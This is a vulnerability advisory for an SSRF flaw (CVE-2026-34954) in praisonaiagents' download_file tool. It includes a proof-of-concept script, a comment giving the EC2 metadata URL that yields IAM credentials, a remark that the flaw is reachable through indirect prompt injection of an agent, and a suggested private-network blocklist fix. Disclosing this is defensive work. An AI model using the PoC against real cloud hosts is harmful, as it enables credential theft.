PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL
FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.
file_tools.py:259 (source) -> file_tools.py:296 (sink)
```python
# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):
# sink -- unvalidated url passed to httpx with redirect following
with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:
```
```bash
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888
import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file
result = download_file(
url="http://127.0.0.1:8888/ssrf-test",
destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file
```
On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow_redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.
```python
from urllib.parse import urlparse
import ipaddress
BLOCKED_NETWORKS = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("169.254.0.0/16"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
]
def _validate_url(url: str) -> None:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
try:
addr = ipaddress.ip_address(parsed.hostname)
for net in BLOCKED_NETWORKS:
if addr in net:
raise ValueError(f"Requests to {addr} are not permitted")
except ValueError as e:
if "does not appear to be" not in str(e):
raise
```
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVE-2026-34954 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
CVE-2026-34954 is recorded against 1 package.
Published on 13 July 2026 and last revised on 24 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
pypi.org (Package)
github.com (Advisory)
praisonaiagents has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| praisonaiagents | — | 1.5.95 |
References
Similar Threats
Exploit Protection
CVE-2026-34954 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
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